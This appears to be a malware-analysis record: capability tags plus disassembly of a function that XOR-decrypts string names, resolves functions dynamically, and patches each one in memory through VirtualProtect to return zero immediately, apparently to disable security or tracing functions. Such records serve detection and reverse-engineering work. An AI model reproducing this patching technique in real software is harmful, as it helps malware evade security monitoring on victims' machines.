Function at 0x401856
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x4db024
call fcn.00419690
mov dword [esp], 0x4db014
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x4018a5
xor edi, edi
mov esi, 0x538546
mov ecx, 0xe
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4018fd
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4018c2
inc edx
jmp 0x4018ee
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4018ce
add edx, 2
jmp 0x4018ee
cmp ebx, edx
jne 0x4018d8
mov ebx, esi
xor byte [ecx], bl
jmp 0x4018f4
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4018e4
add edx, 3
jmp 0x4018ee
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4018f4
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4018b3
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x85
jne 0x4018b3
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
mov dword [esp], 0x4db044
call fcn.00419690
mov dword [esp], 0x4db034
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x401948
xor esi, esi
mov ecx, 0x12
lea edi, [eax + 0xa]
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov esi, 0x53852a
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4019a0
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401965
inc edx
jmp 0x401991
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401971
add edx, 2
jmp 0x401991
cmp ebx, edx
jne 0x40197b
mov ebx, esi
xor byte [ecx], bl
jmp 0x401997
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401987
add edx, 3
jmp 0x401991
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401997
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401956
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x89
jne 0x401956
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
mov dword [esp], 0x4db064
call fcn.00419690
mov dword [esp], 0x4db054
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x4019eb
xor ecx, ecx
mov esi, str._r_r__n
lea edi, [eax + 0xa]
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 0x16
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401a43
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401a08
inc edx
jmp 0x401a34
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401a14
add edx, 2
jmp 0x401a34
cmp ebx, edx
jne 0x401a1e
mov ebx, esi
xor byte [ecx], bl
jmp 0x401a3a
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401a2a
add edx, 3
jmp 0x401a34
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401a3a
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4019f9
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x8e
jne 0x4019f9
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
mov dword [esp], 0x4db084
call fcn.00419690
mov dword [esp], 0x4db074
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x401a8e
xor edx, edx
mov esi, str._r_r_
lea edi, [eax + 0xa]
mov ecx, 3
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401ae6
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401aab
inc edx
jmp 0x401ad7
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401ab7
add edx, 2
jmp 0x401ad7
cmp ebx, edx
jne 0x401ac1
mov ebx, esi
xor byte [ecx], bl
jmp 0x401add
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401acd
add edx, 3
jmp 0x401ad7
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401add
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401a9c
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x84
jne 0x401a9c
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x4db0a4
call fcn.00419690
mov dword [esp], 0x4db094
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x401b31
xor edi, edi
mov esi, 0x5384ca
mov ecx, 0x17
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401b89
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401b4e
inc edx
jmp 0x401b7a
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401b5a
add edx, 2
jmp 0x401b7a
cmp ebx, edx
jne 0x401b64
mov ebx, esi
xor byte [ecx], bl
jmp 0x401b80
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401b70
add edx, 3
jmp 0x401b7a
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401b80
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401b3f
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x8f
jne 0x401b3f
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov dword [esp], 0x4db0c4
call fcn.00419690
mov dword [esp], 0x4db0b4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea ecx, [eax + 0xa]
mov dword [ebp - 0x4c], ecx
jne 0x401bd4
xor esi, esi
mov ecx, 0x17
lea edi, [eax + 0xa]
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov esi, 0x53848a
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401c2c
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401bf1
inc edx
jmp 0x401c1d
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401bfd
add edx, 2
jmp 0x401c1d
cmp ebx, edx
jne 0x401c07
mov ebx, esi
xor byte [ecx], bl
jmp 0x401c23
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401c13
add edx, 3
jmp 0x401c1d
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401c23
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401be2
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x90
jne 0x401be2
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
mov dword [esp], 0x4db0e4
call fcn.00419690
mov dword [esp], 0x4db0d4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x4c], esi
jne 0x401c77
xor ecx, ecx
mov esi, 0x538452
lea edi, [eax + 0xa]
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 0xf
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401ccf
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401c94
inc edx
jmp 0x401cc0
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401ca0
add edx, 2
jmp 0x401cc0
cmp ebx, edx
jne 0x401caa
mov ebx, esi
xor byte [ecx], bl
jmp 0x401cc6
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401cb6
add edx, 3
jmp 0x401cc0
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401cc6
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401c85
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x88
jne 0x401c85
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov dword [esp], 0x4db104
call fcn.00419690
mov dword [esp], 0x4db0f4
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
lea ecx, [eax + 0xa]
mov dword [ebp - 0x4c], ecx
jne 0x401d1a
xor edx, edx
mov esi, 0x53842a
lea edi, [eax + 0xa]
mov ecx, 7
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401d72
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401d37
inc edx
jmp 0x401d63
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401d43
add edx, 2
jmp 0x401d63
cmp ebx, edx
jne 0x401d4d
mov ebx, esi
xor byte [ecx], bl
jmp 0x401d69
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401d59
add edx, 3
jmp 0x401d63
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401d69
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401d28
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x95
jne 0x401d28
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x4c]
xor edi, edi
mov dword [ebp - 0x1c], eax
mov dword [esp], 0x4db124
call fcn.00419690
mov dword [ebp - 0x54], eax
mov dword [esp], 0x4db114
call fcn.00419690
mov dword [ebp - 0x4c], edi
mov ebx, eax
lea eax, [eax + 0xa]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x38]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
cmp byte [eax], 0
jne 0x401dd2
xor esi, esi
mov edi, dword [ebp - 0x50]
mov ecx, 0xa
mov dword [ebx], esi
mov dword [ebx + 4], esi
mov dword [ebx + 8], esi
mov esi, 0x538412
rep movsb byte es:[edi], byte [esi]
mov byte [eax], 1
cmp byte [ebx + 9], 0
jne 0x401e29
mov edx, dword [ebp - 0x50]
mov esi, 0x7a
mov eax, dword [ebx + 4]
mov ecx, dword [ebx]
lea edi, [eax + 1]
cmp ecx, edi
jne 0x401def
inc eax
jmp 0x401e1b
lea edi, [eax + 2]
cmp ecx, edi
jne 0x401dfb
add eax, 2
jmp 0x401e1b
cmp ecx, eax
jne 0x401e05
mov eax, esi
xor byte [edx], al
jmp 0x401e21
lea edi, [eax + 4]
cmp ecx, edi
jne 0x401e11
add eax, 3
jmp 0x401e1b
lea edi, [eax + 5]
cmp ecx, edi
jne 0x401e21
add eax, 4
xor byte [edx], al
inc dword [ebx]
jmp 0x401de0
inc esi
inc edx
mov eax, esi
cmp al, 0x84
jne 0x401de0
mov eax, dword [ebp - 0x50]
mov byte [ebx + 9], 1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
mov esi, dword [ebp - 0x58]
mov dword [esp], eax
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push ecx
push ecx
test eax, eax
je 0x401ec1
lea edx, [ebp - 0x3c]
mov dword [esp], eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x1000
call edi
sub esp, 0x10
test eax, eax
je 0x401ed3
lea edx, [ebp - 0x3c]
mov dword [esi], 0x14c2c033
mov byte [esi + 4], 0
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], 0x1000
mov dword [esp + 8], eax
mov dword [esp], esi
call edi
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
sub esp, 0xc
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 8
jne 0x401da4
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret